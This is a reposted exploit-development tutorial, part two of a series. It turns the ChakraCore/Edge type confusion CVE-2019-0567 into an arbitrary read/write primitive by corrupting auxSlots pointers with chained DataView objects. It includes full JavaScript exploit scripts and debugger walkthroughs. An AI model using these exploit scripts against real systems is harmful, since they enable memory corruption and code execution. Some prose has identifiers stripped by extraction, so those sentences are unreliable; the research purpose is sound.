Exploit Development: Browser Exploitation on Windows – CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

浏览器安全 2年前 (2022) admin
645 0 0

Introduction

In part one we went over setting up a ChakraCore exploit development environment, understanding how JavaScript (more specifically, the Chakra/ChakraCore engine) manages dynamic objects in memory, and vulnerability analysis of CVE-2019-0567 – a type confusion vulnerability that affects Chakra-based Microsoft Edge and ChakraCore. In this post, part two, we will pick up where we left off and begin by taking our proof-of-concept script, which “crashes” Edge and ChakraCore as a result of the type confusion vulnerability, and convert it into a read/write primtive. This primitive will then be used to gain code execution against ChakraCore and the ChakraCore shell, , which essentially is a command-line JavaScript shell that allows execution of JavaScript. For our purposes, we can think of as Microsoft Edge, but without the visuals. Then, in part three, we will port our exploit to Microsoft Edge to gain full code execution.ch.exech.exe

This post will also be dealing with ASLR, DEP, and Control Flow Guard (CFG) exploit mitigations. As we will see in part three, when we port our exploit to Edge, we will also have to deal with Arbitrary Code Guard (ACG). However, this mitigation isn’t enabled within ChakraCore – so we won’t have to deal with it within this blog post.

Lastly, before beginning this portion of the blog series, much of what is used in this blog post comes from Bruno Keith’s amazing work on this subject, as well as the Perception Point blog post on the “sister” vulnerability to CVE-2019-0567. With that being said, let’s go ahead and jump right into it!

ChakraCore/Chakra Exploit Primitives

Let’s recall the memory layout, from part one, of our dynamic object after the type confusion occurs.

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

As we can see above, we have overwritten the pointer with a value we control, of . Additionally, recall from part one of this blog series when we talked about JavaScript objects. A value in JavaScript is 64-bits (technically), but only 32-bits are used to hold the actual value (in the case of , the value is represented in memory as . This is a result of “NaN boxing”, where JavaScript encodes type information in the upper 17-bits of the value. We also know that anything that isn’t a static object (generally speaking) is a dynamic object. We know that dynamic objects are “the exception to the rule”, and are actually represented in memory as a pointer. We saw this in part one by dissecting how dynamic objects are laid out in memory (e.g. points to ).auxSlots0x12340x1234001000000001234object| vtable | type | auxSlots |

What this means for our vulnerability is that we can overwrite the pointer currently, but we can only overwrite it with a value that is NaN-boxed, meaning we can’t hijack the object with anything particularly interesting, as we are on a 64-bit machine but we can only overwrite the pointer with a 32-bit value in our case, when using something like .auxSlotsauxSlots0x1234

The above is only a half truth, as we can use some “hacks” to actually end up controlling this pointer with something interesting, actually with a “chain” of interesting items, to force ChakraCore to do something nefarious – which will eventually lead us to code execution.auxSlots

Let’s update our proof-of-concept, which we will save as , with the following JavaScript:exploit.js

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);		// Instead of supplying 0x1234, we are supplying our obj
}

main();

Our is slightly different than our original proof-of-concept. When the type confusion is exploited, we now are supplying instead of a value of . In not so many words, the pointer of our object, previously overwritten with in part one, will now be overwritten with the address of our object. Here is where this gets interesting.exploit.jsobj0x1234auxSlotso0x1234obj

Recall that any object that isn’t NaN-boxed is considered a pointer. Since is a dynamic object, it is represented in memory as such:obj

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

What this means is that instead of our corrupted object after the type confusion being laid out as such:o

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

It will actually look like this in memory:

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Our object, who’s pointer we can corrupt, now technically has a valid pointer in the location within the object. However, we can clearly see that the pointer isn’t pointing to an array of properties, it is actually pointing to the object which we created! Our script essentially updates to . This essentially means that now contains the memory address of the object, instead of a valid array address.oauxSlotsauxSlotso->auxSlotsobjexploit.jso->auxSlotso->auxSlots = addressof(obj)o->auxSlotsobjauxSlots

Recall also that we control the properties, and can call them at any point in via , , etc. For instance, if there was no type confusion vulnerability, and if we wanted to fetch the property, we know this is how it would be done (considering had been type transitioned to an setup):oexploit.jso.ao.bo.aoauxSlots

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We know this to be the case, as we are well aware ChakraCore will dereference to pull the pointer. After retrieving the pointer, ChakraCore will add the appropriate index to the address to fetch a given property, such as , which is stored at offset or , which is stored at offset . We saw this in part one of this blog series, and this is no different than how any other array stores and fetches an appropriate index.dynamic_object+0x10auxSlotsauxSlotsauxSlotso.a0o.b0x8

What’s most interesting about all of this is that ChakraCore will still act on our object as if the pointer is still valid and hasn’t been corrupted. After all, this was the root cause of our vulnerability in part one. When we acted on , after corrupting to , an access violation occurred, as is invalid memory.oauxSlotso.aauxSlots0x12340x1234

This time, however, we have provided valid memory within . So acting on would actually take address is stored at , dereference it, and then return the value stored at offset . Doing this currently, with our object being supplied as the pointer for our corrupted object, will actually return the from our object. This is because the first bytes of a dynamic object contain metadata, like and . Since ChakraCore is treating our as an array, which can be indexed directly at an offset of , via , we can actually interact with this metadata. This can be seen below.o->auxSlotso.aauxSlots0objauxSlotsovftableobj0x10vftabletypeobjauxSlots0auxSlots[0]

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Usually we can expect that the dereferenced contents of , a.k.a. , at an offset of , to contain the actual, raw value of . After the type confusion vulnerability is used to corrupt with a different address (the address of ), whatever is stored at this address, at an offset of , is dereferenced and returned to whatever part of the JavaScript code is trying to retrieve the value of . Since we have corrupted with the address of an object, ChakraCore doesn’t know is gone, and it will still gladly index whatever is at when the script tries to access the first property (in this case ), which is the of our object. If we retrieved , after our type confusion was executed, ChakraCore would fetch the pointer.o+0x10auxSlots0o.aauxSlotsobj0o.aauxSlotsauxSlotsauxSlots[0]o.avftableobjo.btype

Let’s inspect this in the debugger, to make more sense of this. Do not worry if this has yet to make sense. Recall from part one, the function is responsible for the type transition of our property. Let’s set a breakpoint on our statement, as well as the aforementioned function so that we can examine the call stack to find the machine code (the JIT’d code) which corresponds to our function. This is all information we learned in part one.chakracore!Js::DynamicTypeHandler::AdjustSlotsoprint()opt()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After opening and passing in as the argument (the script to be executed), we set a breakpoint on . After resuming execution and hitting the breakpoint, we then can set our intended breakpoint of .ch.exeexploit.jsch!WScriptJsrt::EchoCallbackchakracore!Js::DynamicTypeHandler::AdjustSlots

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

When the is hit, we can examine the callstack (just like in part one) to identify our “JIT’d” functionchakracore!Js::DynamicTypeHandler::AdjustSlotsopt()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After retrieving the address of our function, we can unassemble the code to set a breakpoint where our type confusion vulnerability reaches the apex – on the instruction when is overwritten.opt()mov qword ptr [r15+10h], r11auxSlots

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We know that is stored at , so this means our object is currently in R15. Let’s examine the object’s layout in memory, currently.auxSlotso+0x10o

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We can clearly see that this is the object. Looking at the R11 register, which is the value that is going to corrupt of , we can see that it is the object we created earlier.oauxSlotsoobj

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Notice what happens to the object, as our vulnerability manifests. When is corrupted, now refers to the property of our object.oo->auxSlotso.avftableobj

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Anytime we act on , we will now be acting on the of ! This is great, but how can we take this further? Take not that the is actually a user-mode address that resides within . This means, if we were able to leak a from an object, we would bypass ASLR. Let’s see how we can possibly do this.o.avftableobjvftablechakracore.dllvftable

DataView Objects

A popular object leveraged for exploitation is a object. A DataView object provides users a way to read/write multiple different data types and endianness to and from a raw buffer in memory, which can be created with ArrayBuffer. This can include writing or retrieving an 8-byte, 16-byte, 32-byte, or (in some browsers) 64-bytes of raw data from said buffer. More information about objects can be found here, for the more interested reader.DataViewDataView

At a higher level a object provides a set of methods that allow a developer to be very specific about the kind of data they would like to set, or retrieve, in a buffer created by . For instance, with the method , provided by , we can tell ChakraCore that we would like to retrieve the contents of the backing the object as a 32-bit, unsigned data type, and even go as far as asking ChakraCore to return the value in little-endian format, and even specifying a specific offset within the buffer to read from. A list of methods provided by can be found here.DataViewArrayBuffergetUint32()DataViewArrayBufferDataViewDataView

The previous information provided makes a object extremely attractive, from an exploitation perspective, as not only can we set and read data from a given buffer, we can specify the data type, offset, and even endianness. More on this in a bit.DataView

Moving on, a object could be instantiated as such below:DataView

dataviewObj = new DataView(new ArrayBuffer(0x100));

This would essentially create a object that is backed by a buffer, via .DataViewArrayBuffer

This matters greatly to us because as of now if we want to overwrite with something (referring to our vulnerability), it would either have to be a raw JavaScript value, like an integer, or the address of a dynamic object like the used previously. Even if we had some primitive to leak the base address of , for instance, we could never actually corrupt the pointer by directly overwriting it with the leaked address of for instance, via our vulnerability. This is because of NaN-boxing – meaning if we try to directly overwrite the pointer so that we can arbitrarily read or write from this address, ChakraCore would still “tag” this value, which would “mangle it” so that it no longer is represented in memory as . We can clearly see this if we first update to the following and pause execution when is corrupted:auxSlotsobjkernel32.dllauxSlots0x7fff5b3d0000auxSlots0x7fff5b3d0000exploit.jsauxSlots

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x7fff5b3d0000);		// Instead of supplying 0x1234 or a fake object address, supply the base address of kernel32.dll
}

Using the same breakpoints and method for debugging, shown in the beginning of this blog, we can locate the JIT’d address of the function and pause execution on the instruction responsible for overwriting of the object (in this case .opt()auxSlotsomov qword ptr [r15+10h], r13

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Notice how the value we supplied, originally and was placed into the R13 register, has been totally mangled. This is because ChakraCore is embedding type information into the upper 17-bits of the 64-bit value (where only 32-bits technically are available to store a raw value). Obviously seeing this, we can’t directly set values for exploitation, as we need to be able to set and write 64-bit values at a time since we are exploiting a 64-bit system without having the address/value mangled. This means even if we can reliably leak data, we can’t write this leaked data to memory, as we have no way to avoid JavaScript NaN-boxing the value. This leaves us with the following choices:0x7fff5b3d0000

  1. Write a NaN-boxed value to memory
  2. Write a dynamic object to memory (which is represented by a pointer)

If we chain together a few JavaScript objects, we can use the latter option shown above to corrupt a few things in memory with the addresses of objects to achieve a read/write primitive. Let’s start this process by examining how objects behave in memory.DataView

Let’s create a new JavaScript script named :dataview.js

// print() debug
print("DEBUG");

// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));

// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true);	// Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)

Notice the level of control we have in respect to the amount of data, the type of data, and the offset of the data in the buffer we can set/retrieve.

In the above code we created a object, which is backed by a raw memory buffer via . With the “view” of this buffer, we can tell ChakraCore to start at the beginning of the buffer, use a 32-bit, unsigned data type, and use little endian format when setting the data into the buffer created by . To see this in action, let’s execute this script in WinDbg.DataViewArrayBufferDataView0x41414141ArrayBuffer

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Next, let’s set our debug breakpoint on . After resuming execution, let’s then set a breakpoint on , which is responsible for setting a value on a buffer. Please note I was able to find this function by searching the ChakraCore code base, which is open-sourced and available on GitHub, within DataView.cpp, which looked to be responsible for setting values on objects.print()ch!WScriptJsrt::EchoCallbackchakracore!Js::DataView::EntrySetUint32DataViewDataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting the breakpoint on , we can look further into the disassembly to see a method provided by called . Let’s set a breakpoint here.chakracore!Js::DataView::EntrySetUint32DataViewSetValue()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting the breakpoint, we can view the disassembly of this function below. We can see another call to a method called . Let’s set a breakpoint on this function (please right click and open the below image in a new tab if you have trouble viewing).SetValue()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting the breakpoint, we can see the source of the method function we are currently in, outlined in red below.SetValue()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Cross-referencing this with the disassembly, we noticed right before the from this method function we see a instruction. This is an assembly operation which uses a 32-bit value to act on a 64-bit value. This is likely the operation which writes our 32-bit value to the of the object. We can confirm this by setting a breakpoint and verifying that, in fact, this is the responsible instruction.retmov dword ptr [rax], ecxbufferDataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We can see our now holds .buffer0x41414141

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

This verifies that it is possible to set an arbitrary 32-bit value without any sort of NaN-boxing, via objects. Also note the address of the property of the object, . However, what about a 64-bit value? Consider the following script below, which attempts to set one 64-bit value via offsets of .DataViewbufferDataView0x157af16b2d0DataView

// print() debug
print("DEBUG");

// Create a DataView object
dataviewObj = new DataView(new ArrayBuffer(0x100));

// Set data in the buffer
dataviewObj.setUint32(0x0, 0x41414141, true);	// Set, at an offset of 0 in the buffer, the value 0x41414141 and specify litte-endian (true)
dataviewObj.setUint32(0x4, 0x41414141, true);	// Set, at an offset of 4 in the buffer, the value 0x41414141 and specify litte-endian (true)

Using the exact same methodology as before, we can return to our instruction which writes our data to a buffer to see that using objects it is possible to set a value in JavaScript as a contiguous 64-bit value without NaN-boxing and without being restricted to just a JavaScript object address!mov dword ptr [rax], rcxDataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

The only thing we are “limited” to is the fact we cannot set a 64-bit value in “one go”, and we must divide our writes/reads into two tries, since we can only read/write 32-bits at a time as a result of the methods provided to use by . However, there is currently no way for us to abuse this functionality, as we can only perform these actions inside a buffer of a object, which is not a security vulnerability. We will eventually see how we can use our type confusion vulnerability to achieve this, later in this blog post.DataViewDataView

Lastly, we know how we can act on the object, but how do we actually view the object in memory? Where does the property of come from, as we saw from our debugging? We can set a breakpoint on our original function, . When we hit this breakpoint, we then can set a breakpoint on the function, at the end of the function, which passes the pointer to the in-scope object via RCX.DataViewbufferDataViewchakracore!Js::DataView::EntrySetUint32SetValue()EntrySetUint32DataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

If we examine this value in WinDbg, we can clearly see this is our object. Notice the object layout below – this is a dynamic object, but since it is a builtin JavaScript type, the layout is slightly different.DataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

The most important thing for us to note is twofold: the pointer still exists at the beginning of the object, and at offset of the object we have a pointer to the buffer. We can confirm this by setting a hardware breakpoint to pause execution anytime is written to in a 4-byte (32-bit) boundary.vftable0x38DataViewDataView.buffer

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We now know where in a object the is stored, and can confirm how this buffer is written to, and in what manners can it be written to.DataViewbuffer

Let’s now chain this knowledge together with what we have previously accomplished to gain a read/write primitive.

Read/Write Primitive

Building upon our knowledge of objects from the “ Objects” section and armed with our knowledge from the “Chakra/ChakraCore Exploit Primitives” section, where we saw how it would be possible to control the pointer with an address of another JavaScript object we control in memory, let’s see how we can put these two together in order to achieve a read/write primitive.DataViewDataViewauxSlots

Let’s recall two previous images, where we corrupted our object’s pointer with the address of another object, , in memory.oauxSlotsobj

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

From the above images, we can see our current layout in memory, where now controls the of the object and controls the pointer of the object. But what if we had a property within ()?o.avftableobjo.btypeobjcoo.c

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

From the above image, we can clearly see that if there was a property of (), it would therefore control the pointer of the object, after the type confusion vulnerability. This essentially means that we can force to point to something else in memory. This is exactly what we would like to do in our case. We would like to do the exact same thing we did with the object (corrupting the pointer to point to another object in memory that we control). Here is how we would like this to look.coo.cauxSlotsobjobjoauxSlots

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

By setting to a object, we can control the entire contents of the object by acting on the object! This is identical to the exact same scenario shown above where the pointer was overwritten with the address of another object, but we saw we could fully control that object ( and all metadata) by acting on the corrupted object! This is because ChakraCore, again, still treats as though it hasn’t been overwritten with another value. When we try to access in this case, ChakraCore fetches the pointer stored at and then tries to index that memory at an offset of . Since that is now another object in memory (in this case a object), will still gladly fetch whatever is stored at an offset of , which is the for our object! This is also the reason we declared with so many values, as a object has a few more hidden properties than a standard dynamic object. By decalring with many properties, it allows us access to all of the needed properties of the object, since we aren’t stopping at , like we have been with other objects since we only cared about the pointers in those cases.o.cDataViewDataViewobjauxSlotsvftableauxSlotsobj.aauxSlotsobj+0x100DataViewobj.a0vftableDataViewobjDataViewobjDataViewdataview+0x10auxSlots

This is where things really start to pick up. We know that is stored as a pointer. This can clearly be seen below by our previous investigative work on understanding objects.DataView.bufferDataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

In the above image, we can see that is stored at an offset of within the object. In the previous image, the is a pointer in memory which points to the memory address . This is the address of our buffer. Anytime we do on our object, this address will be updated with the contents. This can be seen below.DataView.buffer0x38DataViewbuffer0x1a239afb2d0dataview.setUint32()DataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Knowing this, what if we were able to go from this:

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

To this:

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

What this would mean is that address, previously shown above, would be corrupted with the base address of . This means anytime we acted on our object with a method such as we would actually be overwriting the contents of (note that there are obviously parts of a DLL that are read-only, read/write, or read/execute)! This is also known as an arbitrary write primitive! If we have the ability to leak data, we can obviously use our object with the builtin methods to read and write from the corrupted pointer, and we can obviously use our type confusion (as we have done by corrupted pointers so far) to corrupt this pointer with whatever memory address we want! The issue that remains, however, is the NaN-boxing dilemma.bufferkernel32.dllDataViewsetUint32()kernel32.dllDataViewbufferauxSlotsbuffer

As we can see in the above image, we can overwrite the pointer of a object by using the property. However, as we saw in JavaScript, if we try to set a value on an object such as , our value will remain mangled. The only way we can get around this is through our object, which can write raw 64-bit values.bufferDataViewobj.hobj.h = kernel32_base_addressDataView

The way we will actually address the above issue is to leverage two objects! Here is how this will look in memory.DataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

The above image may look confusing, so let’s break this down and also examine what we are seeing in the debugger.

This memory layout is no different than the others we have discussed. There is a type confusion vulnerability where the pointer for our object is actually the address of an object we control in memory. ChakraCore interprets this object as an pointer, and we can use property , which would be the third index into the array had it not been corrupted. This entry in the array is stored at , and since is really another object, this allows us to overwrite the pointer of the object with a JavaScript object.auxSlotsoobjauxSlotso.cauxSlotsauxSlotsauxSlots+0x10auxSlotsauxSlotsobj

We overwrite the array of the object we created, which has many properties. This is because was overwritten with a object, which has many hidden properties, including a property. Having declared with so many properties allows us to overwrite said hidden properties, such as the pointer, which is stored at an offset of within a object. Since is being interpreted as an pointer, we can use (which previously would have been stored in this array) to have full access to overwrite any of the hidden properties of the object. We want to set this to an address we want to arbitrarily write to (like the stack for instance, to invoke a ROP chain). However, since JavaScript prevents us from setting with a raw 64-bit address, due to NaN-boxing, we have to overwrite this with another JavaScript object address. Since objects expose methods that can allow us to write a raw 64-bit value, we overwrite the of the object with the address of another object.auxSlotsobjobj->auxSlotsDataViewbufferobjbuffer0x38DataViewdataview1auxSlotsobjdataview1bufferobj.hbufferDataViewbufferdataview1DataView

Again, we opt for this method because we know is the property we could update which would overwrite . However, JavaScript won’t let us set a raw 64-bit value which we can use to read/write memory from to bypass ASLR and write to the stack and hijack control-flow. Because of this, we overwrite it with another object.obj.hdataview1->bufferDataView

Because , we can now use the methods exposed by (via our object) to write to the object’s property with a raw 64-bit address! This is because methods like , which we previously saw, allow us to do so! We also know that is stored at an offset of within a object, so if we execute the following JavaScript, we can update to whatever raw 64-bit value we want to read/write from:dataview1->buffer = dataview2DataViewdataview1dataview2buffersetUint32()buffer0x38DataViewdataview2->buffer

// Recall we can only set 32-bits at a time
// Start with 0x38 (dataview2->buffer and write 4 bytes
dataview1.setUint32(0x38, 0x41414141, true);		// Overwrite dataview2->buffer with 0x41414141

// Overwrite the next 4 bytes (0x3C offset into dataview2) to fully corrupt bytes 0x38-0x40 (the pointer for dataview2->buffer)
dataview1.setUint32(0x3C, 0x41414141, true);		// Overwrite dataview2->buffer with 0x41414141

Now would be overwritten with . Let’s consider the following code now:dataview2->buffer0x4141414141414141

dataview2.setUint32(0x0, 0x42424242, true);
dataview2.setUint32(0x4, 0x42424242, true);

If we invoke on , we do so at an offset of . This is because we are not attempting to corrupt any other objects, we are intending to use in a legitimate fashion. When is invoked, it will fetch the address of the from by locating , derefencing the address, and attempting to write the value (as seen above) into the address.setUint32()dataview20dataview2.setUint32()dataview2->setUint32()bufferdataview2dataview2+0x380x4242424242424242

The issue is, however, is that we used a type confusion vulnerability to update to a different address (in this case an invalid address of ). This is the address will now attempt to write to, which obviously will cause an access violation.dataview2->buffer0x4141414141414141dataview2

Let’s do a test run of an arbitrary write primitive to overwrite the first 8 bytes of the section of (which is writable) to see this in action. To do so, let’s update our script to the following:.datakernel32.dllexploit.js

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    // Print debug statement
    print("DEBUG");

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // Set dataview2->buffer to kernel32.dll .data section (which is writable)
    dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
    dataview1.setUint32(0x3C, 0x00007fff, true);

    // Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
    dataview2.setUint32(0x0, 0x41414141, true);
    dataview2.setUint32(0x4, 0x41414141, true);
}

main();

Note that in the above code, the base address of the section can be found with the following WinDbg command: . Recall also that we can only write/read in 32-bit boundaries, as (in Chakra/ChakraCore) only supplies methods that work on unsigned integers as high as a 32-bit boundary. There are no direct 64-bit writes..datakernel32.dll!dh kernel32DataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Our target address will be , based on our current version of Windows 10.kernel32_base + 0xA4000

Let’s now run our script in , by way of WinDbg.exploit.jsch.exe

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

To begin the process, let’s first set a breakpoint on our first debug statement via . When we hit this breakpoint, after resuming execution, let’s set a breakpoint on . We aren’t particularly interested in this function, which as we know will perform the type transition on our object as a result of the function setting its prototype, but we know that in the call stack we will see the address of the JIT’d function , which performs the type confusion vulnerability.print()ch!WScriptJsrt::EchoCallbackchakracore!Js::DynamicTypeHandler::AdjustSlotsotmpopt()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Examining the call stack, we can clearly see our function.opt()

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Let’s set a breakpoint on the instruction which will overwrite the pointer of the object.auxSlotso

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We can inspect R15 and R11 to confirm that we have our object, who’s pointer is about to be overwritten with the object.oauxSlotsobj

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

We can clearly see that the pointer is updated with the address of .o->auxSlotsobj

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

This is exactly how we would expect our vulnerability to behave. After the function is called, the next step in our script is the following:opt(o, o, obj)

// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;

We know that by setting a value on we will actually end up corrupting with the address of our first object. Recalling the previous image, we know that is located at .o.cobj->auxSlotsDataViewobj->auxSlots0x12b252a52b0

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Let’s set a hardware breakpoint to break whenever this address is written to at an 8-byte alignment.

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Taking a look at the disassembly, it is clear to see how indexes the array (or what it thinks is the array) by computing an index into an array.SetSlotUncheckedauxSlotsauxSlots

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Let’s take a look at the RCX register, which should be (located at ).obj->auxSlots0x12b252a52b0

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

However, we can see that the value is no longer the array, but is actually a pointer to a object! This means we have successfully overwritten with the address of our object!auxSlotsDataViewobj->auxSlotsdataviewDataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

Now that our operation has completed, we know the next instruction will be as follows:o.c = dataview1

// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;

Let’s update our script to set our debug statement right before the instruction and restart execution in WinDbg.print()obj.h = dataview2

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Print debug statement
    print("DEBUG");

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // Set dataview2->buffer to kernel32.dll .data section (which is writable)
    dataview1.setUint32(0x38, 0x5b3d0000+0xa4000, true);
    dataview1.setUint32(0x3C, 0x00007fff, true);

    // Overwrite kernel32.dll's .data section's first 8 bytes with 0x4141414141414141
    dataview2.setUint32(0x0, 0x41414141, true);
    dataview2.setUint32(0x4, 0x41414141, true);
}

main();

We know from our last debugging session that the function was responsible for updating . Let’s set another breakpoint here to view our line of code in action.chakracore!Js::DynamicTypeHandler::SetSlotUncheckedo.c = dataview1obj.h = dataview2

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

After hitting the breakpoint, we can examine the RCX register, which contains the in-scope dynamic object passed to the function. We can clearly see this is our object, as points to our object.SetSlotUncheckedobjobj->auxSlotsdataview1DataView

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)

